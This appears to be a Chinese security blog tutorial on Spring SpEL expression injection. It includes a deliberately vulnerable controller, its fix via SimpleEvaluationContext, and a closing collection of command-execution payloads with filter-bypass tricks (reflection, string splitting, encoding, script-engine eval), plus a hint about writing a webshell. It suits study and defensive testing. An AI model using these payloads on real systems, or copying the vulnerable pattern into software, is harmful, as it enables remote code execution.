SpEL 表达式注入漏洞
前言
参考: 原文链接
删掉了一些SpEL
语法相关的内容, 把关注点放在漏洞产生原因上, 把 SpEL 注入在 XML, @Value, 代码块中, 以每个不同的案例呈现出来, 速通.
原文章给了一个String
类型转换小脚本, 有一行是错的, 放到文末, 这篇文章算是我的读后感吧. 把重要的内容抠出来了.
前置环境准备
在pom.xml
进行如下引入:
<dependencies>
<dependency> <!-- 引入 junit, 可以进行测试包 -->
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency> <!-- 引入 springMVC -->
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.1.9.RELEASE</version>
</dependency>
<dependency> <!-- 支持事务相关 -->
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>5.1.9.RELEASE</version>
</dependency>
<dependency> <!-- 支持切面编程 -->
<groupId>org.springframework</groupId>
<artifactId>spring-aspects</artifactId>
<version>5.1.9.RELEASE</version>
</dependency>
<dependency> <!-- 引入 mybatis -->
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.7</version>
</dependency>
<dependency> <!-- 引入 druid 数据库连接池 -->
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.6</version>
</dependency>
<dependency> <!-- 引入 mysql 接口驱动 -->
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.25</version>
</dependency>
<dependency> <!-- 配置 mybatis && spring 整合适配包 -->
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>2.0.6</version>
</dependency>
<dependency> <!-- 配置 MyBatis 逆向工程包 -->
<groupId>org.mybatis.generator</groupId>
<artifactId>mybatis-generator-core</artifactId>
<version>1.4.0</version>
</dependency>
<dependency> <!-- 配置 JackSon, 用于返回 JSON 数据 -->
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.12.4</version>
</dependency>
<dependency> <!-- 加入分页插件 -->
<groupId>com.github.pagehelper</groupId>
<artifactId>pagehelper</artifactId>
<version>5.2.1</version>
</dependency>
<dependency> <!-- 引入后端校验框架 -->
<groupId>org.hibernate</groupId>
<artifactId>hibernate-validator</artifactId>
<version>5.0.0.CR2</version>
</dependency>
<!-- 添加Tomcat依赖, 对应到自己的版本号 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
<version>8.5.0</version>
</dependency>
<!-- 如果你需要使用Jasper for JSP support -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>8.5.0</version>
</dependency>
</dependencies>
定义/WEB-INF/web.xml
文件内容如下:
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml</param-value>
</context-param>
<listener> <!-- 配置该 Listener, 开启 WebApplicationContextUtils, 否则 WebApplicationContextUtils 未被初始化 -->
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<filter>
<filter-name>characterEncoding</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>utf-8</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>characterEncoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
特别注意这里定义的org.springframework.web.context.ContextLoaderListener
, 后续在使用WebApplicationContextUtils
时, 试图从Tomcat
中进行得到Spring-IOC
时, 必须对其进行配置.
随后定义/resources/applicationContext.xml
文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<context:component-scan base-package="com.heihu577"/>
<bean id="internalResourceViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/jsp/"/>
<property name="suffix" value=".jsp"/>
</bean>
</beans>
对其进行一个基本的配置即可, 后续会随着功能模块的增加, 依次在此基础之上增加代码.
SpEL 表达式
SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于 它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL有许多特性:
-
使用Bean的ID来引用Bean -
可调用方法和访问对象的属性 -
可对值进行算数、关系和逻辑运算 -
可使用正则表达式进行匹配 -
可进行集合操作
其中表达式可以在三种位置执行: XML, @Value注解, 以及代码块中使用 Expression.
两种定界符 $ 与
XML 表达式 + $
${属性key}: 用于读取文件中的属性. 具体操作如下:
定义一个Bean
进行测试:
public class ConfigPropertiesBean {
private String username;
// getter && setter && 有参构造 && 无参构造
}
在/resources/applicationContext.xml
文件中进行引入文件, 并定义 bean:
<context:property-placeholder location="classpath:config.properties"/>
<bean id="configPropertiesBean" class="com.heihu577.bean.ConfigPropertiesBean">
<property name="username" value="${myuser.username}"/> <!-- 使用 ${} 进行引入 config.properties 中的 myuser.username -->
</bean>
随后在其中引入config.properties
配置内容:
myuser.username=zhangsan
而在我们的webapp/index.jsp
中, 进行获取该 bean:
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="org.springframework.web.context.WebApplicationContext" %>
<%@ page import="com.heihu577.bean.ConfigPropertiesBean" %>
<%
// 因为配置了 org.springframework.web.context.ContextLoaderListener, 所以这里可以使用 WebApplicationContextUtils 获取 IOC 容器
WebApplicationContext ioc = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());
ConfigPropertiesBean configPropertiesBean = ioc.getBean("configPropertiesBean", ConfigPropertiesBean.class);
out.println(configPropertiesBean); // ConfigPropertiesBean{username='zhangsan'}
%>
可以看到, ${} 成功读取到了config.properties
的配置, 并且成功注入到BEAN
容器中.
在这里使用了 WebApplicationContextUtils 进行获取 IOC 容器, 使用该手法可以通过反射来获取 JDBC 数据库连接信息等操作, 但会依赖于 ContextLoaderListener 监听器.
@Value 注解 + #
#{属性key}: 用于指明内容未 SpEL 表达式并执行, 这里的语法将会多样化.
运算符类型 | 运算符 |
---|---|
算数运算 | +, -, *, /, %, ^ |
关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge |
逻辑运算 | and, or, not, ! |
条件运算 | ?:(ternary), ?:(Elvis) |
正则表达式 | matches |
引用类 | #{T(java.lang.Runtime)} => Runtime.class, T(java.lang.Runtime).getRuntime() => Runtime 对象 调用某个类的静态方法使用. |
字面值 | #{123} => 123, #{'ABC'} => ABC #{{'a'}} => 数组类型 Collection #{'ABC'.getClass()} => String.class |
引用 BEAN | #{BEAN名称} 可以直接得到 BEAN |
类实例化 | #{new java.lang.String} = #{new String} |
在安全的角度来讲, T(类名)
与字面值
是比较重要的, 所以这里将只会拿这两种进行举例, 其他操作自行测试.
字面量
依然在ConfigPropertiesBean
类中进行操作, 只不过本次使用@Value
注解进行注入值即可.
@Value("#{'P@ss'.concat('w0rd')}") // 通过调用 String 类型的 concat 将其字符连接到一起
private String password;
// 并对 toString 方法进行更新
最终运行index.jsp
结果如下:
ConfigPropertiesBean{username='zhangsan', password='P@ssw0rd'}
类名引用
定义一个Cat
类如下:
@Component
public class Cat {
@Value("#{T(java.lang.Runtime).getRuntime()}") // 引用 Runtime
public Object master;
}
随后定义如下控制器:
@RestController
public class HelloController {
@RequestMapping("/spel01")
public String spel01(@Value("#{cat}") Cat cat) throws IOException { // 使用 #{bean名称} 进行引入 bean
// 不使用 @Resource, @Autowired, @Qualifier 进行依赖注入, 使用 @Value 配合表达式进行依赖注入.
((Runtime) cat.master).exec("calc");
return "Hello";
}
}
运行即可弹出计算器.
Expression 代码块执行 SpEL
这是最后一种执行SpEL
表达式的位置, 看一下是如何实现的. 在HelloController
中定义如下内容:
@RequestMapping("/spel02")
public String spel02() {
ExpressionParser parser = new SpelExpressionParser(); // 准备 SpEL 解析器
Expression expression = parser.parseExpression("('Hello' + ' Heihu577').concat(#end)"); // 解析表达式, 无需加 #{}
EvaluationContext context = new StandardEvaluationContext(); // 准备上下文
context.setVariable("end", "!"); // 定义 end 值为 !
return expression.getValue(context).toString(); // Hello Heihu577!
}
当然也可以不指明StandardEvaluationContext
, 如果不指明的话默认会使用StandardEvaluationContext
, 如下代码实例:
@RequestMapping("/spel03")
public String spel03(String data) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("'" + data + "'");
return expression.getValue().toString(); // 存在 SpEL 表达式注入漏洞!
}
发送 payload: ?data=123'.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')+'
即可弹出计算器.
漏洞修复
SimpleEvaluationContext 和 StandardEvaluationContext是 SpEL 提供的两个 EvaluationContext:
-
SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。 -
StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
所以如果想要漏洞修复的话, 配置为 SimpleEvaluationContext 即可, 如下:
@RequestMapping("/spel03")
public String spel03(String data) {
ExpressionParser parser = new SpelExpressionParser();
SimpleEvaluationContext context = SimpleEvaluationContext.forReadWriteDataBinding().build();
Expression expression = parser.parseExpression("'" + data + "'");
return expression.getValue(context).toString();
}
POC && ByPass 整理
// PoC原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
// Bypass技巧
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
给出的小脚本CreateAscii.py
修复后的如下:
message = input('Enter message to encode:')
print('Decoded string (in ASCII):n')
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('n')
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print('})')
其他的一些payload:
// 转自:https://www.jianshu.com/p/ce4ac733a4b9
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
${header} 文件头参数
${applicationScope} 获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。
<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径
原文始发于微信公众号(Heihu Share):Java 安全 | SpEL 表达式注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论